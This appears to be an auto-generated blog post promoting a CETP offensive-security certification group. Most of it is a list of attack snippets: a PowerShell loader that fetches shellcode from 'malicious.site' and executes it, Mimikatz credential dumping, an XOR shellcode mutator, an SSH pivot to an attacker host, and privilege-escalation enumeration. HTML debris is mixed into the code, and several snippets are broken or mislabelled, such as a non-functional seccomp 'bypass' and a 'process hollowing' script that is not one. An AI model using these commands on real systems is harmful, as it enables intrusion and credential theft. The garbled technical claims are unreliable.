Awesome CETP Knowledge Sharing Pool for CETP Certificate

A collaborative space for professionals preparing for the Certified Expert in Testing and Protection (CETP) certification. It’s a place to share resources, discuss new evasion strategies, and explore real-world offensive development techniques. Join us to enhance your skills:
🔗 https://lnkd.in/daFhqQCS

You Should Know:

1. Evasion Techniques for EDR/AV Bypass

• Process Hollowing (Windows):

  </li>
  </ul>
  
  <h1>PowerShell script to inject shellcode into a legitimate process</h1>
  
  $bytes = (New-Object Net.WebClient).DownloadData("http://malicious.site/shellcode.bin") 
  $mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($bytes.Length) 
  [System.Runtime.InteropServices.Marshal]::Copy($bytes, 0, $mem, $bytes.Length) 
  $thread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mem, [System.IntPtr]).Invoke() 
  

  • Linux Syscall Obfuscation:

    </li>
    </ul>
    
    <h1>Use syscall numbers directly to evade signature-based detection</h1>
    
    gcc -o evasive_shellcode evasive_shellcode.c -masm=intel -fno-stack-protector -z execstack 
    

    2. Threat Emulation & Red Team Tactics

    • Mimikatz for Credential Dumping (Windows):

      mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" 
      

    • Linux Memory Analysis with Volatility:

      volatility -f memory_dump.raw --profile=LinuxUbuntu_5x pslist 
      volatility -f memory_dump.raw --profile=LinuxUbuntu_5x linux_bash 
      

    3. Malware Development & Anti-Forensics

    • Polymorphic Shellcode Generator (Python):

      import os 
      import random 
      shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" 
      mutated = bytearray(shellcode) 
      for i in range(len(mutated)): 
      mutated[i] ^= random.randint(1, 255) 
      print("Mutated Shellcode:", mutated.hex()) 
      

    4. EDR Evasion via Direct Syscalls (Windows/Linux)

    • Windows (Nt API Unhooking):

      #include <windows.h> 
      #pragma comment(lib, "ntdll.lib") 
      NTSTATUS(NTAPI* NtProtectVirtualMemory)(HANDLE, PVOID*, PSIZE_T, ULONG, PULONG); 
      

    • Linux (Seccomp Sandbox Bypass):

      </p></li>
      </ul>
      
      <h1>Disable seccomp filters</h1>
      
      <p>prctl(PR_SET_SECCOMP, SECCOMP_MODE_DISABLED); 
      

      What Undercode Say:

      The CETP certification focuses on advanced offensive security techniques, including evasion, malware development, and EDR bypass. Mastering these skills requires hands-on practice with real-world attack simulations. Below are additional commands for deeper exploration:

      • Windows Privilege Escalation:

        whoami /priv 
        Get-WmiObject -Class Win32_Product | Select-Object Name, Version 
        

      • Linux Post-Exploitation:

        find / -perm -4000 -type f 2>/dev/null # Find SUID binaries 
        cat /etc/passwd | grep -i "sh$" # List valid shell users 
        

      • Network Pivoting (SSH Tunnel):

        ssh -D 1080 -N -f user@attacker-ip 
        

      Expected Output:

      A structured, actionable guide for CETP aspirants, integrating evasion techniques, malware development, and defensive bypass methods.

      🔗 Reference: CETP Knowledge Pool

      References:

      Reported By: Mohamed Nasr – Hackers Feeds
      Extra Hub: Undercode MoN
      Basic Verification: Pass ✅

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